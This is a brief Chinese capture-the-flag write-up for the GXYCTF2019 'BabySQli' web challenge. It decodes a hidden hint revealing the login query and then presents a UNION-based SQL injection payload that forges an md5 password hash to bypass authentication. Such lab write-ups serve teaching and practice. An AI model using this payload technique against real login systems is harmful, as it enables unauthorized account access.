GXYCTF2019/BUUCTF-WEB:BabySQli
一直对注入题很抗拒。。学到了新知识记录一下。
打开是一个登录框 随便输入什么会提示wrong user!
ctrl+U查看源代码,注意注释:
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
base32解密:
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
base64解密:
select * from user where username = '$name'
学习了颖奇L'Amore师傅写的WP:
www.gem-love.com
将查询出来的passwd和输入的密码的md5值比较,相等则登录不相等则wrong pass. 而由于name参数可注,我们可以构造sql语句使其查询为假,然后联合查询出一个比如63a9f0ea7bb98050796b649e85481845(root的md5),然后密码输入root,就会查询成功。
root的md5并不在数据库里,只要保证联合查询的结构一样,就可以直接select后面输入你想要的查询的返回值
构造了payload:
name=admin' And 1>2 union select '1','admin','63a9f0ea7bb98050796b649e85481845&pw=root